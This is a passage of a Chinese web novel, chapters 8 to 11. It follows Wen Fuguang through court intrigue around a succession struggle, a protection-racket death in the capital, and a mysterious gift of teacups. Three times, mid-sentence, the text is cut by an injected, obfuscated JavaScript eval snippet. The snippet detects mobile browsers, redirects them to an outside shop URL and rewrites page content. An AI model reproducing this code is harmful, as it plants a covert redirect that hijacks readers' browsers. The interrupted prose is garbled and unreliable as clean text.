姜栀棠颌首,“老林阳王当年挂帅出征浦州,她手下有个姓陈的将领因替她挡刀伤重过世,之后老林阳王娶了那位将领的遗孤陈氏,姜栯此次正是要为陈氏的表姐求娶。” 8. 第 8 章 闻赋光察言观色,他并没带什么羞赧或抗拒之色,只是淡淡地叙述。 “郡君不愿,想必姜栯的谋算是成不了了。”闻赋光的回答很矜持,很场面话。 正午时候,阳光被园中桂树银杏树微遮,有娟秀的溪流闪着粼粼的光,静谧中将眼前人的身影渡上一层金色,姜栀棠望着光中人,但见她神色平静,面容清润,如月般皎洁,一派少年风光。 “不过试探而已,她也不会真的认为我会同意。天家既不曾下旨,舅舅与我不便对立储之事表态。”前方的小径变窄了,姜栀棠盯着地面悄悄靠近了些,让二人的影子看起来仿佛并肩而行。 闻赋光暗忖,纵使这门婚事成不了,姜栯的动作越来越大胆,这对姜榓一派来说不是一个好的信号。 姜栀棠轻声道:“日前万寿节宫宴,姜榓献上了一颗夜明珠,是西域一个叫普兰的小国王室传承之物,据说它有神力,保佑了普兰数代国王平安生女,娘子可听说了吗?” 她怎么会不知道这颗珠子,那还是她亲手交给姨母的。事后她也不经意地问过姨母,那珠子究竟有什么奥秘,竟值得这样大动干戈地从西域弄来,只不过姨母含糊其辞,不肯告诉她罢了。她懒懒道:“若真如传言那样,想必这颗珠子珍贵异常。” 姜栀棠微微一笑,“姜栯原本运了一座沉香木的寿字屏风,足有一人高,除了百年的沉香木难得,工匠的雕工更是超群,实在珍贵罕见,然而与这颗珠子比起来,便也不算什么了。二人暂且不曾将斗争蔓延至朝堂,姜榓悍厉,姜栯表面温和却更要强,寿礼一事上她落了下风,着急来试探我,便是冲着舅舅与天家的姐弟情分去的。” 闻赋光觉得他看起来有点幸灾乐祸,开口揶揄:“郡君虽然不便表明立场,却似乎很讨厌姜栯?你可知我的堂弟嫁给了什么人?你与我在一处说这些话,莫非是要暗中投诚姜榓吗?” “若是如此,倒也不错,”姜栀棠做出一副恍然大悟的样子,“想必姜榓这边一定也出得起什么父族夫族的联姻,届时我再来一个比武招亲,最后的胜者方可为仪宾。”他说罢,两人一同笑了起来。 她当然不会把玩笑话当真,不过这话也给了她一个信号:姜栀棠因为某些原因有些不喜姜栯。虽然他也并不会因此站在姜榓这一边,但起码对她来说,他不会是敌人。 忽略那些玩笑话,闻赋光正色道:“多谢郡君。”这些话对她来说是珍贵的信息,虽然不知道姜榓对姨母是否有所保留,但总之,姨母对她一定是有不少保留的,她要知道更多,才能尽量不踩雷。不管他主动和她分享信息有什么目的,他不愿说,她也不好过度探寻,只待来日吧。 “若真心想谢我,娘子现在就可报恩。”姜栀棠停了下来,抬手理了理发鬓,立在原地笑着看她。 不知道他葫芦里卖的什么药,闻赋光挑了挑眉:“好啊,您请吩咐。” 盈盈的水映在他眼中,闻赋光在里头望见了自己,那汪水潺潺流动着,“为我摘一朵花吧。” 就这样?闻赋光一头雾水地转身看向花圃,这里当然也摆着各色菊花,但她没看上那些,直接忽略了它们,转而看向了一旁盛开的木芙蓉,白色和粉色渐变的重瓣,花朵饱满,正好与他一身粉杉相配。 木芙蓉树很高,好在闻赋光轻功不差,三两下上了树,摘到了开得最盛的那朵。 “喏,你要的花。”闻赋光轻巧地下了树,跃到他面前。紧绷了这些日子,突然爬个树回归原始,还挺有意思的,她的语气中都忍不住带了些轻快。 姜栀棠没有伸手去接,他矜持地将手拢在袖中,冲她扬了扬下巴。 男人就是麻烦啊。 闻赋光无奈,只得顺他心意,将手中的木芙蓉插入眼前人发间。凑近了看才发现,他的头发生得很美,一头乌发像绸缎般光滑,她没忍住用手背轻轻碰了一下,也不知道有没有被发现。 “好看吗?”他素手抚过发间,肤色被青的玉镯和粉白的木芙蓉衬得如瓷。 闻赋光又摆出营业微笑:“灿若晨霞。” 他看起来很满意,闻赋光松了口气,在心里暗暗夸赞自己。还好她从最近练的字帖上学会了这个词,说句好听的话也不会掉块肉,机会总是留给有准备的人,这不就用上了吗。 聊了这么久,两人都没提起当夜庙中的事,闻赋光不提是因为心虚,那块刻了他小名的玉坠如今还藏在她身上呢。她在闻府自己的卧房里翻了半天,也没找到一个能妥善安置,且绝对不会被打扫的仆从发现的地方,实在无法,只好藏在身上每天这么带着。 想到玉坠一直留在她身上,若是不慎被别人看到恐怕就是一场灾祸。虽然他态度不明,却又没有要报复她的意思。而如今既然知道了他的身份,闻赋光意识到,哪怕她真的要用这块玉坠做些什么,结局死得更快的也只会是她自己。对自己来说,玉坠不仅没用,继续留着或许还有害处,闻赋光想想还是决定还给他,刚张了张口,没等她想到合适的开场白,就被急匆匆的脚步声所打断了。 来人正是前头去吩咐阮笛跑腿的侍男,见闻赋光立在姜栀棠身边,似乎并不惊讶,沉稳地施了一礼道:“郡君,帝卿那里……唤人来寻您了。” 姜栀棠微微颌首,转头冲她嫣然一笑,“舅舅寻我去应酬一二,我先走了,娘子可自便。”闻赋光不确定当着人面该作何反应,好在他也不计较,带着侍男飘飘然走了。 直到当日宴散,姜栀棠都没有再回来,当然,阮笛也没有。 黄昏的夕阳落日下,见多识广的京城居民们对两个女人在街上亲密交流,拉拉扯扯的行为见怪不怪,目不斜视地路过此地。大媱女子之间举止亲密些乃是风雅之事,一向为人所赞颂,被称为君子之交。 两位君子却没有这么坦然,下班后的闻赋光抓着同样下班后的阮笛,质问她赏菊宴那日怎么抛下自己就不见了踪影。 阮笛恨不得跳起来喊冤,大呼伤心:“我哪有?” “那日你也看见了,一个侍男对我说一位公子的珠钗掉在了亭中,要我追上去送还,我就去了。谁知道他们走的路七弯八绕,我好不容易才追上他们!到了那地方,他们见我力气大,又要我去搬几盆菊花来,他们一会要佐酒,一会又要插花,将那些花搬来搬去,竟然没个定数!惯会难为人,直到散场才肯放过我!” 见自己说错话了,附近又恰好有个包子摊,闻赋光赶紧买了几个肉包子哄哄阮笛,“嗨呀你看这事,来来来,吃几个包子慢慢说。” 阮笛愤愤咬着包子,口齿不清地吐槽那些人有多么磨人,“你不知道他们有多想一出是一出,一会要搬这样那样的几盆,做一个花架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705503|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,一会又说要摆成凤凰,命我们来来回回去寻他们要的花色,一会又不想要了要找几朵开得最盛的簪到发间......” 听罢,闻赋光颇为同情地拍了拍她,阮笛想起了闻赋光这位难姐难妹,话锋一转:“对了,你呢?我听那群公子说,留在亭中没走的那个就是重徽郡君,他如何?是否真的容貌极美,倾国倾城?” 美是挺美的,就是人有点怪。 闻赋光打着哈哈,“我哪能抬头细看,他在亭中独自休憩,我在附近站着发呆呗,你都不知道,我宁愿和你一起干苦力去,好过傻站那么久。” 闻赋光不打算把实情告诉她,这并非是出自于不信任阮笛,而是考量后认为越少人知道这些更好。那天她骤然穿来这里,带着那颗明珠一路逃跑不慎偶遇姜栀棠,靠威胁才一路进了城交了差。除了怪力乱神,其中还有夺嫡之事,她自身尚且被卷入其中无法脱身,知道这些对她这位朋友没好处。 两人齐齐叹了口气,终于过去了。活是难干了些,还好赏钱丰厚,阮笛揽过她的肩,“走!去喝酒!” 她们进了间不常去的酒肆。 店主是个西域男子,长长的金色卷发下长了双碧眼,面目深邃,唇色娇艳,看不出年纪。 他不分四季地常年裹着各色薄纱,身上坠着各色宝石和链子,露出从脖子上流畅地连接至身前,又从背后绕至脐间的黄金链。 一双修长白皙的手上涂着猩红的丹蔻,提着酒壶倒酒时有种说不出的魅惑,有客人为了看他,将酒液洒在了身上。店中还有几个跳舞的西域小郎,同店主一脉相承的热情大方,与含蓄矜持、端庄挽约的大媱小郎相比是别样的风情。 这样的酒肆,酒钱自然是很不美丽,要不是这次她们俩得了不少赏钱,想来这胡人酒肆一趟也是不容易。 来都来了,当然要喝些不一样的,二人要了一坛蒲桃酒,这是京中新的风尚,如今很受欢迎。不多时,有小郎摇曳着身姿,风情万种抱着新酿的蒲桃酒走来,人还未靠近,先传来的是一阵西域的奇香。 他微微欠身,葱白的手指抚过红唇,俏皮地冲她眨了眨眼,酒坛轻轻落在桌上。闻赋光觉得她还没喝上酒就有点醉了——那小郎弯腰时,手指若有似无地勾了勾她的腰带。 真是世风日下,人心不古,慷......咳咳。 多么害人的不良场所! 带着批判的目的,两人大喝了一顿。 她们明日都不当值,喝得有些微醺,闻家离酒肆远,两人索性一起在阮笛家中过夜。 阮笛是孤儿,从前在军营长大,如今租了个小院,与周边邻居的关系处得还行。 在阮笛榻上睡到日上三竿,闻赋光突然被门外一阵大嗓门惊醒,还以为是街坊邻居又来热情地送炒花生米了。 闻赋光曾听阮笛提起过,平民百姓在日常生活中容易受到周边大户和小吏们的欺压,而阮笛恰好在五城兵马司当差,邻居们与她处好了关系,平日里自然能多一份照拂,有了什么事也不至于两眼一抹黑。对她们双方来说,这都是互惠互利的好事。 门外说话声此起彼伏,闻赋光意识渐渐回笼,拍了拍身旁的阮笛,毫无动静。转头只看到她如婴儿般的睡眠,平静且安详。她怕是门外有什么急事,只好自己从床上爬了下来,揉着眼去开门。 9. 第 9 章 门开了,孙大妈却不是来送东西的。阮笛家住河边,门口这条石板路有些窄,且地面有些不平,日常行人进出倒不算很受影响,但要搬什么大件就不那么通畅了。 此时几个青壮年女子抬着一口棺材,小心翼翼地从狭窄的路上通行,孙大妈正在前头扯着嗓门指挥她们。艰难的通行中,前头的相帮的一人不慎踩上一块凹下去的石板,晃了晃身子,眼看棺木就要碰到墙壁上,闻赋光快步上前,双手托了一把,好歹稳住,那人冲她点点头,笑了笑。多了一人帮忙,棺材最后还是顺利地过了这段窄路。 目送棺木离开狭窄的石板路,转而拐个弯进了条宽敞些许的路,闻赋光拍了拍手,叉着腰回身过去,却见孙大妈叹了口气,嘴里念叨着作孽。 闻赋光忍不住问道:“这是怎么了?” 孙大妈擦擦眼角,“是老周走了,就是柳树巷那户做油纸伞的,闻娘子可认识?” “是之前在集市上摆摊卖伞的那位吗?”闻赋光有点印象。 “就是她。”孙大妈感叹道:“真是作孽,老周多好的一个人啊!前些年我家大妮上学堂,回家路上下了大雨,老周看她一个人走回家,快淋透了,好心拿了把伞给她,不收她钱,那伞现在还在我家墙角立着呢。” 闻赋光心有戚戚,叹道:“生老病死,人总是要有这一遭的。” “她不是老死的,好人不长命,她是被那起子黑心肝的给害了!还有她家妮子的腿,也叫人给打折了,往后还不知道怎么活呢。”孙大妈抹了抹泪,咬牙恨道。 “什么!她家不是才在临和街盘了个铺面吗?前儿不是还叫了几个人去放炮仗?”阮笛听到动静终于醒了,没想到走出来就听见孙大妈含恨的骂声,惊愕不已。 “若没有那铺子,想必老周家里还不会出事呢!”孙大妈冷哼一声,似乎对其中缘故很清楚。 闻赋光和阮笛对视一眼,继续听她说:“老周做了一辈子油纸伞,临老了好不容易攒了点积蓄,在临和街上盘了个小铺子,想着将来就不用再被风吹,被日头晒,被雨淋,被赶来赶去。” “可是她们没想到,临和街上那个说是商会会长的,要她们掏钱交会费,又要交什么管理费,不交就不许开张。老周把一辈子的积蓄都搭进了这个铺子,开店的有些钱还是借的,此时怎么掏得出这一笔笔钱呢?她们不交费,商会的人就派小流氓去守着店,谁也不许买伞,卖不出伞,就更是赚不到钱。赚不到钱,又要等何时才能交上会费?老周一家急死了,她家妮子年轻,跟那几个小流氓争执起来,挨了打,腿都给打折了,老周心里有气,一时急火攻心,竟然,就去了!” 听完孙大妈的一番解释,两人沉默下来。 老周做了一辈子油纸伞,那些伞不知为多少行人遮蔽了风雨。可在这世上,有些风雨不是油纸伞能挡住的。 闻赋光沉声问:“这些事没人能管吗?” 阮笛叹气:“商户们要想安安生生做生意,就得忍受商会巧立名目收‘保护费’。这是做生意的‘规矩’,官府不管商会内部的规矩。” “那商户们就乖乖听话?” “那是因为有时候商会确实能帮上商户的忙,比如管控价格,比如若有地痞流氓来找事,也总有商会在从中周旋,有困难的时候,商会确实有些用。但没有困难的时候,商会就是商户们遇到最大的困难。”阮笛很无奈,她当差的时间比闻赋光长,在这方面知道得略多些。 “那个商会会长,如此无法无天,不知是什么人?” 孙大妈叱道:“听说那会长是开赌坊的,手下养了一群打手,威风得很!谁敢管?谁能管?” 这是在京城中,天子脚下,一个普通的赌坊老板自然不会因为手底下养了一群打手就没人敢整治,她后头很难没有人。 “你说对了。”一家小饭馆中,阮笛紧皱的眉头自从刚刚听过孙大妈的话就一直没松过,“这个赌坊老板,确实有后台,而且来头不小。” “是谁?”闻赋光夹了口炒菜,小饭馆的手艺比姜栀棠那里吃的一顿差远了,但她此时在意的不是饭菜,同样皱着眉追问道。 阮笛压低了声音:“那个赌坊老板叫何长翊,她有个弟弟进了林阳王府的后院。” 林阳王府,那就是姜栯的人了。 闻赋光凑近小声问:“你怎么知道的?” “我怎么知道的?我同她打过照面!有次巡逻,我撞见她手底下几个打手把人拖到大街上,不管不顾地当街殴打!既然看见了,我自然要上前查问,纠缠之下何长翊亲自出来,开口闭口的就是她可是林阳王的夫姐,要给我们好果子吃呢!我不信,华其真不让我把人带走审,非把我拉走了。真不知道林阳王为什么要留这样的人在身边!”阮笛厌恶地说。 “小点声!”闻赋光手指关节敲了敲桌面,思考半响道:“华其真可是救了你一把,你若得罪了她,就是得罪了林阳王,恐怕此刻也不能这样好好坐在这里了。” 对百姓来说,谁当皇帝都是一样过日子。说起储君之争,若非是身处漩涡之中,恐怕认识的都是抽象的概念,而不是具体的人,也难怪阮笛心中并无什么敬畏。“你想想,何长翊干的是什么营生?” 阮笛翻了个白眼,“赌坊啊,哦,还放印子钱,逼债,还不上钱的就逼人卖子,再不然就把人剁手跺脚,打残打死,害得别人家破人亡。” 闻赋光替她总结:“都是搜刮民脂民膏,赚黑钱的营生,不干净但来钱快。” 她们坐在角落里,附近的两三桌没有其他食客,另一头有几人正在猜拳喝酒,热闹得很,喧嚣盖过了角落里两人种种传出去要杀头的话。 闻赋光镇定地吐露从姜栀棠那里得来的消息:“前些日子万寿节,她献上了极珍贵的宝物给天家做寿礼,一樽沉香木的屏风,足有一人那么高。你想想它的价值,这可是举国再找不到第二件的宝物了,林阳王府也不曾出仕经商,更别提她们平时需要上下打点,邀买人心。你说,她需要的是什么?” “钱财,越多越好。”阮笛灌了口酒。 闻赋光目光凌厉:“正是!她要敛财,然而天家不曾发话让宗室诸女入朝历练,她的手伸不到朝堂,便是通过一些小官运作,那也有限,只能通过一些像何家这样的人上供得以维持。姜栯在人前一向温良宽和,可既然要敛财,就不得不用何长翊,便是何长翊嚣张跋扈,她自会装作不知。” 阮笛叹了口气,低低道:“我信任你的为人,悄悄跟你说一句心里话,若是姜栯这样的人当了储君,乃至将来的天家,那大媱恐怕也要跟着完了。只是我们人微言轻,竟要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705504|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看何长翊这样的人得意,真是可恨!” 闻赋光不曾向任何人透露自己曾为姜榓办过事,在同僚们眼中,也从未将她与夺嫡之事扯上什么关系,顶多是觉得闻家卖男求荣罢了。 况且在大媱,虽然没人光明正大地出来嚷嚷立储之事,可私底下关起门来谁家不谈?阮笛信任闻赋光,两人刚被老周的事一同冲击,倒也不怕与她发发牢骚。 闻赋光此时只是淡淡抿了口酒附和,“是啊,要是有人收拾收拾她就好了。” 两人之间气氛沉郁,闷头扒完饭打算各回各家。 闻赋光正面朝门口坐着,叫来伙计正付账时,见有个毛茸茸的脑袋探头探脑地进了饭馆,是个十三四岁的小郎,挎着个竹篮朝她们走来。小郎大大方方一敞竹篮,原来是几支秋海棠,“两位娘子可要买花吗?都是刚摘的,你们瞧,还带着露水呢,两文钱一支,送给心上人戴在鬓边,保准他喜欢,比花儿还俏!”唇红齿白的脸上带着些许粉晕,冲她们绽开一个并不谄媚的笑,十分可爱。 她顺手把找的零钱换了这几支花,小郎见有人包圆了最后几支花,声音脆生生地冲她道了谢,欢快地飞出了饭馆。 这小小的插曲让气氛松懈下来。闻赋光捻起一支,以花为剑向对面的阮笛虚刺过去,手腕反转间花朵擦着阮笛侧脸而过,阮笛一闪,闻赋光手指夹着花枝转了一圈,恰好停在她面前:“心上人,送你了。” 她总爱玩些小把戏,阮笛习惯了,大大咧咧地搂过花枝,朝她挤了挤眼:“多谢官人,若有下辈子,奴家一定以身相许。” 出了饭馆两人分开,闻赋光想起字帖写完了,打算买一本再回家,打算朝书坊走去,转身却看见了眼熟的人。 是肖从晗,他一身浅青灰的衣衫,料子虽然平平但没有补丁,比上次那身新,看来他过得稍好了些。刚才提着篮子卖花的小郎站在他身旁,两人似乎是认识的,还很熟,正在说着什么。 闻赋光视线扫过他们,视线正好与肖从晗对上,顺着他的目光,卖花小郎也看见了闻赋光。肖从晗转头对他说了句什么,他恍然大悟,拉着肖从晗走了过来。 肖从晗对她一福:“闻娘子,巧遇。” 闻赋光还礼,“肖郎君,好巧啊。” “这是我弟弟从青。”肖从晗含笑,“他来卖花,没想到买走最后几支的就是娘子你。” “鲜花娇艳,顺手买的。我去书坊,你们呢?” “那我们可以一道走了!我们要去附近的锦绣坊买新的丝线。”一道清脆的声音突然加入谈话。 “从青。”肖从晗轻斥他莽撞插话。 “那走吧。”闻赋光点头示意。 肖从青性格活泼,叽叽喳喳围绕着闻赋光说话,话密但并不惹人生厌。 “闻娘子,我能叫你姐姐吗?”他忽闪着眼睛,一派活泼。 “可以啊,小郎君。”闻赋光随意道。 “姐姐叫我从青吧,”他原是站在外侧,为了和闻赋光说话,挤进了她和肖从晗之间,“姐姐,我听阿兄说起过你,摆摊的那天是你帮了阿兄,我们的绣品才能全都被卖完。而且多亏了你提醒,我们去绣铺问过,锦绣坊的掌柜说可以收,我们就放过去寄卖了,没想到卖得很快!”肖从青仰头看着闻赋光的眼睛,笑容灿烂。 10. 第 10 章 “哦?那恭喜你们了,你们两个弱男子讨生活不易,在店铺中寄卖不用抛头露面,这样安全些。”肖家兄弟算是幸运的,但想到老周,想到嚣张跋扈的何长翊和强势的姜栯,闻赋光有些提不起劲。 肖从青也不在乎她稍显冷淡的态度,语气轻快道:“那天我们种的菜熟了,我在摘菜没出门,不然要是有我在,谁敢来抢我们的摊位,我一定把他骂跑打跑!” 他这话说得厉害,闻赋光有些好笑,看了少男的细胳膊细腿一眼:“真不知道,你还有这样的本事。” 肖从晗有些愧疚,“是我没用,还不如弟弟能干。要是没有从青,我连母亲留下的小屋子也护不住,早就被族里抢占走了。” “阿兄就是太好欺负了,”肖从青鼓起了脸,“不过我们现在不用出去摆摊了,放在绣铺的绣品一下都卖空了呢。” “你们心思精巧,绣品卖得好是情理中的事。”闻赋光想到那条绣着桃子的帕子,也算是别出心裁了。 “姐姐帮了我阿兄,我们的绣品就卖得很好;买了我的花,花朵也被卖完了。姐姐是我们的贵人。”肖从青神情憧憬地望着闻赋光。 闻赋光淡淡一笑,“那可不是我的功劳,是你们自己心灵手巧。” 几人都是年轻人,脚程快,说话间就到了书坊,肖从青笑着指出锦绣坊就在前面不远处,闻赋光道别肖家兄弟,自己进了书坊。 还是熟悉的布局,熟悉的掌柜和伙计。掌柜这次没在打算盘,立在门口等着迎客,随她一起进来。伙计还是拿着鸡毛掸子抖灰。闻赋光瞧见伙计那张熟悉的脸,立刻想起了那本被她束之高阁的神奇画本。 放哪去了来着?她这段时间没什么兴致翻阅,似乎藏在什么地方之后就把它忘了。不知道会不会被打扫她屋里的仆从发现,不如回去找找。 买新字帖用不着废什么工夫,闻赋光付过钱,将字帖往怀里一塞就走了。 在她身后,掌柜目送她出了店门,马上走进内室,迅速写下一张小纸条,连同她买走的一本一模一样的字帖,叫来书坊里打杂的,火速送走。 * 重徽郡君府中,书坊送来的物件从门房传到二门内,姜栀棠的近侍墨舒不敢耽搁,接过纸条和字帖匆匆进了主院。自回到京城以来,郡君只有出门才会带人,在府内时常常独处,不大喜欢有人近身,因此他们这些近侍往往在西侧耳房中听候。 墨舒放轻脚步行至屋门外,敲了敲房门,“郡君。” 里面没声响。 墨舒有些忐忑:“是崇文馆的掌柜送了东西来。” “拿进来。” 墨舒低着头,轻轻推开房门,跨了进去。 今日没出太阳,屋中有些昏暗。香炉中熏着甜蜜的香,摆设一如既往的富丽精巧,姜栀棠未施粉黛,散着头发斜倚在窗边美人榻上,手中捧着一本靛蓝色的书籍,神情专注。墨舒上前递上被卷起系上红绳的纸条和字帖。 姜栀棠放下手中的书,接过纸条。墨舒不慎扫过那本“书”的一角,连忙轻咬了口舌尖,好歹控制住了自己。 天啊,郡君还未出阁呢,怎么变得如此,嗯,狂放了! 姜栀棠没在意身边侍从的神色,他慢斯条理地轻抚字帖,修剪整齐的指甲轻轻划过封面,将它贴到心口,接着展开小纸条读了起来。 小纸条写得很简单,只有寥寥几句,姜栀棠一目十行读完,嘴角微微上扬,眼中却没有丝毫笑意。 他翻开字帖,“下帖子到林阳王府,过几天我约二郎君去锦绣坊挑首饰。” 墨舒试探地问:“可要吩咐陈掌柜,那日安排肖从晗前去?” 姜栀棠轻轻端起茶盏,细呷一口,“让他们多给些赏钱,把他打扮得好些。” 墨舒会意:“是。” “对了,东西送去了吗。” “已经按您的吩咐放过去了,没让其他人瞧见。” 见姜栀棠颔首,墨舒转身出门退下。 姜栀棠贴着字帖缓缓闭上眼,她现在在做什么呢?应该已经回到家了,她会喜欢那些东西吗?会的吧。 * 闻赋光揣着字帖回了闻府,大房就她一个,也没人管她在不在家里住,来去自由得很。她从门房一路进了自己院子,洒扫的侍从不在,进了门就没碰到人。 她一个武人,平日也没人会来考校她的学问,但不认识字到底不如有文化方便。好在如今已经认识了不少,街上商铺的牌坊她已经都认得了。今日买了新字帖回家,自然就要提笔写几页大字。 闻赋光走到书桌前准备进行一些文化人的消遣,却看到桌上有个散发着富贵的光芒,不容人忽视的木箱子。 她眸光一冷,瞬间警觉转身,目光转了一圈,细细打量过自己这间屋子。她遵从原身的生活习惯,屋内只放了些许生活必需品,没有什么多余之物,也没有能够藏人的地方,并无异样,跟她出门前一模一样,唯独只多了这个箱子。 穿来这个世界一月有余,根据闻赋光谨慎的观察,这个世界的人们习武也是以强身健体为主,应当没有武侠世界观下那些神奇的功法和暗器。说人话就是,打开这个箱子大概率不会飞出什么杀人不眨眼的凶器。 况且不管它装了什么,只看这箱子是用珍贵的紫檀木雕刻而成,就该知道即便有人要杀她,也用不着下如此血本。 这个时代的箱子上也是有构造精妙的锁扣的,刚穿来那会她看不懂构造,还因为打不开自己屋里的柜子犯难过,闻赋光伸手拨开盒子上的暗扣,推拉了半天,终于找到路这个箱子的开法。她将上层的板移开,映入眼帘的是她完全没想到的东西——一套茶盏,而且还颇为眼熟。 这下真的可以松口气了,看这盒子的大小,即使不会藏着暗器,她刚刚也确实有点担心里面会不会出现一颗人头之类的...... 这套茶盏被包得很安全,织金的绸缎裹着淡青绿色的茶盏,色彩和谐,更显华贵。箱中还传来了淡淡的桂香,她将茶具取出,绸缎底下的干桂花一览无余,能防止茶盏被碰碎,又自带幽香,叫人不禁赞叹送礼人的巧妙心思。 箱子里共有一只盖碗和六只小茶杯,烧成了荷叶状,形状极有趣,不用问,闻赋光自然能猜出送礼者的身份。赏菊宴那天,她在帝卿别苑的花园里看这个茶盏有意思,把玩了许久,当时只有姜栀棠在场,这套茶盏只会是他送来的。 闻赋光坐在书桌前细细端详这套茶盏,颜色浅淡而匀称,表面的荷叶纹路十分仿真,看起来雅致且有趣,哪怕是在现代的烧制技术下,想要这样一套手工烧制的茶盏,也不是一个普通牛马的工资随随便便就能拿下的。而闻家祖上有积累,日常用的也已经不差了,可与眼前这套茶盏比起来就显得粗糙不已,它们不仅造价昂贵,还因为这是皇家的东西,有钱也买不到。 喜爱的同时,她也感到了些许丢人,怎么随便一个人就能带着这么大的箱子进她的院子,不被其他人发现,如入无人之境?不像话,等她来日搬出去住了,家里一定要守好门户。 至于送礼人的动机......闻赋光摸了摸下巴,眼中浮现出真切的疑惑:难道在她不知道的时候,他和她之间的关系已经好到送礼物了吗?姜栀棠此人......她忽然发觉,她也说不上来他是个什么样的人,他对她的态度不可用常理来推测,有时候说些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707339|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名的话弄得她心痒痒了,闻赋光就很想一拳捶上去......不过话又说回来,他那张漂亮的小脸又很好地弥补了这一点欠揍。 不管了,自家书桌上长出来的茶盏哪有不要的道理,到她手上就是她的了,闻赋光美滋滋收起来,并没有忘记自己回来要做什么。 她磨了几下松烟墨,铺开了宣纸。笔墨纸砚都是从闻家库房里翻来的,也不知道是什么纸,纸面上洒了淡淡的金箔,非常之低调奢华,她很喜欢,立刻指定该款式为她本人练字专用款。 写字的时间过得飞快,等她回过神来时已经写了满满几张。闻赋光握着笔欣赏,练多了总会有进步,这段时日练字算是颇有成效,毕竟从前没写过软笔字,她对自己的要求不高,能把字写清楚就很不错了。 目光移到纸面上的“臂膀”两个字,闻赋光注视着它们,脑海中不由回想起了上午与孙大妈和阮笛的谈话。何长翊怎么不算是姜栯的臂膀呢?想到她和姜栯之间的血仇,想到两派之间隐隐就要闹到台面上来的争锋,天家毕竟没有皇女,即使如今大权仍然在握,但她终有一天要立储的。 在大媱,富贵人家要过继族中子侄来继承家业的人家不少,虽然没有明确规定,除了嗣子本身的德行以外,其自家的情况也是一个重要的考量因素。毕竟过继嗣子是选个孩子到自家来,成为自家人,而不是任凭别人拉扯着一大家子到自己家来登堂入室,反客为主,因此嗣子家里的拖累越少越好。大体上百姓家选嗣子时更愿意选择敦厚的孤儿,而不要精明能干但家里枝繁叶茂的。 纵使大媱立国百年,宗室人数并不算太少,待排除了那些血脉太远的,剩下年龄合适的人选就不多了。血脉近些的宗室中也只有姜榓和姜栯本身年龄合适,允文允武算得上出色,又恰好孑然一身,没什么拖累,这才得以靠近官家身边,渐渐展露了头角。 而闻家这样的人家,既然已经嫁男到了怀王府里,在外人眼中就是坚定的姜榓党,就算闻赋光走上街到处嚷嚷自己与姜榓并非同心,也没人会信,更会两面不讨好。闻家的立场就是闻赋光本人的立场,她没得选。 何长翊是姜栯敛财的左膀右臂,从刚刚开始,闻赋光就在思考一个问题:她凭借自身能做些什么?以她的身手,凭借一己之力解决众多侍卫,闯进王府暗杀姜栯——当然不可能。可解决何长翊就不那么困难了,毕竟不管怎么样,一个赌坊老板她总有落单的时候,但闻赋光不打算这么做,起码她没必要直接这么做。 做事要考虑后果,如果她直接杀了何长翊,首先显而易见的是,在大媱的京城中会有一个人失去生命。 然后呢?那些因为何家而遭遇不幸的人,会因此减少吗? 不会。 赌坊只是一个形式,甚至何长翊也只是一个形式,没有何长翊,也会有何长尔,何长山来接替她做事。就算赌坊开不下去了,只要有姜栯安稳地坐镇在她们背后,她们完全可以另起炉灶,继续在这世上耀武扬威,大肆敛财,欺压百姓。单单杀了何长翊,不会改变任何事。而她自己,或许好运能蒙混过去,或许会被人查出来,遭致报复。 闻赋光并不怕付出,这世上有很多人出生时是赤条条地来到人世间,想要什么当然就要对应付出些什么,但她不希望自己的付出毫无价值,不能白费力气反惹一身腥。在大媱生活的每一天都可能是她人生的最后一天,要做不寻常的事,必然要思前想后,看清楚利弊。 但这也不代表她就要放过何长翊,龟缩着不敢出头。起码她的命运目前还是和姜榓息息相关,姜栯势大,对她百害而无一利,何况何家实在作恶多端,她要好好想想,怎么做才能可能地打击对手。 11. 第 11 章 矗立在观河边名为水榭的酒楼内,闻赋光名义上的长官,五城兵马司指挥使陆向荣正满面红光地接受着来宾的祝贺。据说陆家三代单传,终于在今年有了一对双生孙儿,得知这个消息时,陆大人高兴得差点没撅过去。因此不仅在自己家中遍邀亲朋好友,大大操办了这件喜事,在孩子满百日之际,还专门包了京中一家酒楼来宴请自己的属下们。闻赋光和她其实不熟,陆大人年纪大了,一般只做些文书工作,等着告老还乡了,平日并不出外勤。不过长官的面子还是要给的,今日人到得很齐。 十月的京城天气已经转凉,尽管外面时不时飘着细密的阴雨,也没能影响楼内热火朝天的气氛。陆大人先前发过话了,今日来吃席的都是自己人,礼一概不收,谁敢送礼谁就是不敬长官。大伙都知道陆大人这是在体恤下属,防止她们为送礼攀比,届时反而不美,因此席间格外纵情欢乐,喜气洋洋。 